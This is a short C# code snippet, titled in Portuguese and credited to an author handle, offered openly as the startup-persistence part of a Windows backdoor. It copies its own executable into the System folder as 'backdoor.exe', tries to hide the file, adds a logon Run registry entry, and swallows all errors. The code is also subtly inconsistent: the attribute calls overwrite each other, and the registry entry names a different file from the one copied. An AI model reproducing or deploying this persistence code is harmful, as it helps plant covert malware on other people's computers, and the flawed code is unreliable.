Iniciar com Windows c# backdoor

//by:Mharcos Nesster Mh4x0f
public static void Inciar_windows()
            {
                try{
                File.Copy(Convert.ToString(System.Reflection.Assembly.GetExecutingAssembly().Location), Convert.ToString(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\backdoor.exe"), true);
                File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\backdoor.exe", FileAttributes.Hidden);
                File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\backdoor.exe", FileAttributes.System);
                File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\backdoor.exe", FileAttributes.ReadOnly);
                    Microsoft.Win32.RegistryKey k = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
                    k.SetValue("logonassist", Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\logonassistant.exe", Microsoft.Win32.RegistryValueKind.String);
                    k.Close();

                }

                catch

                {

                }
            }